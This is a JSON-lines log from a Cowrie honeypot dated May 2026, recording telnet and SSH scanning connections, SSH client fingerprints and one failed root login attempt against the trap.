{"eventid":"cowrie.session.closed","duration":30.49519109725952,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:33.009357Z","src_ip":"216.22.21.200","session":"b701e26c0433","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.910837411880493,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:33.080761Z","src_ip":"64.235.40.29","session":"1653614e2acb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.976672172546387,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:33.091794Z","src_ip":"135.148.33.217","session":"bcd8934c5907","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.55708599090576,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:33.115515Z","src_ip":"104.207.153.205","session":"0de59e6fd1e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.546238899230957,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:33.403479Z","src_ip":"162.214.112.92","session":"b457ec7da218","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72351622581482,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:33.472078Z","src_ip":"160.250.4.73","session":"7db22ad7c9e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.965936422348022,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:33.747340Z","src_ip":"216.22.21.200","session":"8c5d98acfae6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.282167673110962,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:33.947793Z","src_ip":"99.198.111.122","session":"69df512404b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.486652135849,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:33.951810Z","src_ip":"99.198.111.122","session":"0225fbc6ba9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.77862286567688,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:34.098500Z","src_ip":"216.22.21.200","session":"3daa761f557f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.3691828250885,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:34.610913Z","src_ip":"99.198.111.122","session":"9499f2a263a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":49740,"dst_ip":"10.17.0.5","dst_port":23,"session":"5cf23a4e4b06","protocol":"telnet","message":"New connection: 216.22.21.200:49740 (10.17.0.5:23) [session: 5cf23a4e4b06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:34.616081Z"}
{"eventid":"cowrie.session.closed","duration":31.49696445465088,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:34.659108Z","src_ip":"104.207.153.205","session":"f4a7a0d9a941","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.548213005065918,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:35.050873Z","src_ip":"104.207.153.205","session":"d371f6f1ec64","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.60102081298828,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:35.055872Z","src_ip":"195.154.29.177","session":"6e7a19facb2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.028751611709595,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:35.198993Z","src_ip":"216.22.21.200","session":"779a440ecff6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.5330331325531,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:35.243030Z","src_ip":"104.207.153.205","session":"b1540441ee5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":39744,"dst_ip":"10.17.0.5","dst_port":23,"session":"8491892c431d","protocol":"telnet","message":"New connection: 195.154.29.177:39744 (10.17.0.5:23) [session: 8491892c431d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:35.359179Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":52894,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd42112d1f71","protocol":"telnet","message":"New connection: 64.235.40.29:52894 (10.17.0.5:23) [session: dd42112d1f71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:35.962122Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":41878,"dst_ip":"10.17.0.5","dst_port":23,"session":"8cd6e65ace34","protocol":"telnet","message":"New connection: 135.148.33.217:41878 (10.17.0.5:23) [session: 8cd6e65ace34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:35.980558Z"}
{"eventid":"cowrie.session.closed","duration":30.903454303741455,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:36.091920Z","src_ip":"64.235.40.29","session":"ec82f58c452e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.530235052108765,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:36.219969Z","src_ip":"64.235.40.29","session":"aa18af5a7123","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":52900,"dst_ip":"10.17.0.5","dst_port":23,"session":"1adfb284c82f","protocol":"telnet","message":"New connection: 64.235.40.29:52900 (10.17.0.5:23) [session: 1adfb284c82f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:36.245260Z"}
{"eventid":"cowrie.session.closed","duration":30.75302290916443,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:36.290311Z","src_ip":"216.22.21.200","session":"ca4b257e657f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":50830,"dst_ip":"10.17.0.5","dst_port":23,"session":"570a94b1142e","protocol":"telnet","message":"New connection: 99.198.111.122:50830 (10.17.0.5:23) [session: 570a94b1142e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:36.573994Z"}
{"eventid":"cowrie.session.closed","duration":30.39480972290039,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:37.027496Z","src_ip":"216.22.21.200","session":"ffe6135fe67c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":52636,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b529f00da38","protocol":"telnet","message":"New connection: 99.198.111.122:52636 (10.17.0.5:23) [session: 3b529f00da38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:37.272810Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":52662,"dst_ip":"10.17.0.5","dst_port":23,"session":"664c1ccb0125","protocol":"telnet","message":"New connection: 216.22.21.200:52662 (10.17.0.5:23) [session: 664c1ccb0125]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:37.418592Z"}
{"eventid":"cowrie.session.closed","duration":31.57411003112793,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:37.895992Z","src_ip":"99.198.111.122","session":"99c0a09afba8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.19179368019104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:37.924419Z","src_ip":"64.235.40.29","session":"4b4cecfd7e38","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":45214,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4b41589419c","protocol":"telnet","message":"New connection: 135.148.33.217:45214 (10.17.0.5:23) [session: d4b41589419c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:38.287478Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":42854,"dst_ip":"10.17.0.5","dst_port":23,"session":"33a560911a66","protocol":"telnet","message":"New connection: 160.250.4.73:42854 (10.17.0.5:23) [session: 33a560911a66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:38.642241Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":42866,"dst_ip":"10.17.0.5","dst_port":23,"session":"f13be3035ee4","protocol":"telnet","message":"New connection: 160.250.4.73:42866 (10.17.0.5:23) [session: f13be3035ee4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:38.936193Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":55402,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2d90c2d6e1e","protocol":"ssh","message":"New connection: 122.168.114.167:55402 (159.203.135.109:22) [session: d2d90c2d6e1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:39.112316Z"}
{"eventid":"cowrie.session.closed","duration":30.38760757446289,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:39.164683Z","src_ip":"99.198.111.122","session":"e0e030637dd6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.93166160583496,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:39.273520Z","src_ip":"162.214.112.92","session":"0cdf926a2efd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.650169372558594,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:39.450211Z","src_ip":"99.198.111.122","session":"9345357ea9f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":57234,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8761a1bb35c","protocol":"telnet","message":"New connection: 195.154.29.177:57234 (10.17.0.5:23) [session: f8761a1bb35c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:39.490744Z"}
{"eventid":"cowrie.session.closed","duration":31.242788314819336,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:39.568665Z","src_ip":"195.154.29.177","session":"4e8e8d9eb9d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.155713081359863,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:39.668879Z","src_ip":"216.22.21.200","session":"a3e35b2e8d03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":58402,"dst_ip":"10.17.0.5","dst_port":23,"session":"58348f6067b1","protocol":"telnet","message":"New connection: 195.154.29.177:58402 (10.17.0.5:23) [session: 58348f6067b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:39.802214Z"}
{"eventid":"cowrie.session.closed","duration":31.123048305511475,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:40.199953Z","src_ip":"195.154.29.177","session":"eca7281cdb35","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.275537729263306,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:40.452034Z","src_ip":"99.198.111.122","session":"13007eb2f767","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":33164,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ceaa255a3f1","protocol":"telnet","message":"New connection: 99.198.111.122:33164 (10.17.0.5:23) [session: 5ceaa255a3f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:40.528542Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":33348,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2844cf48bc8","protocol":"telnet","message":"New connection: 99.198.111.122:33348 (10.17.0.5:23) [session: b2844cf48bc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:40.608036Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":48088,"dst_ip":"10.17.0.5","dst_port":23,"session":"2501d045c4f6","protocol":"telnet","message":"New connection: 135.148.33.217:48088 (10.17.0.5:23) [session: 2501d045c4f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:40.837788Z"}
{"eventid":"cowrie.session.closed","duration":30.3261775970459,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:41.068379Z","src_ip":"216.22.21.200","session":"cf01f79e6827","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":48264,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ec5ffb18395","protocol":"telnet","message":"New connection: 135.148.33.217:48264 (10.17.0.5:23) [session: 9ec5ffb18395]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:41.072782Z"}
{"eventid":"cowrie.session.closed","duration":31.04905652999878,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:41.170285Z","src_ip":"195.154.29.177","session":"07250c0d2d20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":34984,"dst_ip":"10.17.0.5","dst_port":23,"session":"808fa41e9c22","protocol":"telnet","message":"New connection: 99.198.111.122:34984 (10.17.0.5:23) [session: 808fa41e9c22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:41.269978Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":35350,"dst_ip":"10.17.0.5","dst_port":23,"session":"d409db9857cc","protocol":"telnet","message":"New connection: 99.198.111.122:35350 (10.17.0.5:23) [session: d409db9857cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:41.412037Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":35506,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad14736087c7","protocol":"telnet","message":"New connection: 99.198.111.122:35506 (10.17.0.5:23) [session: ad14736087c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:41.479789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:41.918768Z","src_ip":"122.168.114.167","session":"d2d90c2d6e1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:41.921997Z","src_ip":"122.168.114.167","session":"d2d90c2d6e1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":36768,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d2d99b71dfe","protocol":"telnet","message":"New connection: 195.154.29.177:36768 (10.17.0.5:23) [session: 1d2d99b71dfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:41.939014Z"}
{"eventid":"cowrie.session.closed","duration":31.744107484817505,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:42.018511Z","src_ip":"99.198.111.122","session":"2848f8af17b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.00753116607666,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:42.157936Z","src_ip":"160.250.4.73","session":"e022f575f390","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.49888038635254,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:42.216027Z","src_ip":"99.198.111.122","session":"34866b9a34f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":37380,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc4fb3928189","protocol":"telnet","message":"New connection: 99.198.111.122:37380 (10.17.0.5:23) [session: fc4fb3928189]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:42.271310Z"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":35626,"dst_ip":"10.17.0.5","dst_port":23,"session":"68c3e0b17077","protocol":"telnet","message":"New connection: 195.154.29.177:35626 (10.17.0.5:23) [session: 68c3e0b17077]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:42.535874Z"}
{"eventid":"cowrie.session.closed","duration":31.616710901260376,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:42.657716Z","src_ip":"195.154.29.177","session":"15db4d8ef747","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.225","src_port":35776,"dst_ip":"10.17.0.5","dst_port":22,"session":"f38126d9daa8","protocol":"ssh","message":"New connection: 213.209.159.225:35776 (10.17.0.5:22) [session: f38126d9daa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:42.954745Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:42.959184Z","src_ip":"213.209.159.225","session":"f38126d9daa8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":54766,"dst_ip":"10.17.0.5","dst_port":23,"session":"95c26b1fecfc","protocol":"telnet","message":"New connection: 160.250.4.73:54766 (10.17.0.5:23) [session: 95c26b1fecfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:42.992608Z"}
{"eventid":"cowrie.session.closed","duration":30.993213653564453,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:43.025881Z","src_ip":"216.22.21.200","session":"c7508602e5a8","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:43.042983Z","src_ip":"213.209.159.225","session":"f38126d9daa8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.74109983444214,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:43.049103Z","src_ip":"64.235.40.29","session":"6d658f610579","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93744158744812,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:43.081605Z","src_ip":"216.22.21.200","session":"e134dfdf9eb0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.526851654052734,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:43.149275Z","src_ip":"99.198.111.122","session":"ae67dfff91b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":39742,"dst_ip":"10.17.0.5","dst_port":23,"session":"034edaae1216","protocol":"telnet","message":"New connection: 99.198.111.122:39742 (10.17.0.5:23) [session: 034edaae1216]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:43.264411Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"MUIEMUIE","message":"login attempt [root/MUIEMUIE] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:43.297543Z","src_ip":"213.209.159.225","session":"f38126d9daa8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":40000,"dst_ip":"10.17.0.5","dst_port":23,"session":"f64b48d0f015","protocol":"telnet","message":"New connection: 99.198.111.122:40000 (10.17.0.5:23) [session: f64b48d0f015]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:43.375500Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":40242,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfedeeb01902","protocol":"telnet","message":"New connection: 99.198.111.122:40242 (10.17.0.5:23) [session: dfedeeb01902]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:43.482743Z"}
{"eventid":"cowrie.session.closed","duration":31.062561511993408,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:43.741321Z","src_ip":"104.207.153.205","session":"5ad1042a23a5","protocol":"telnet"}
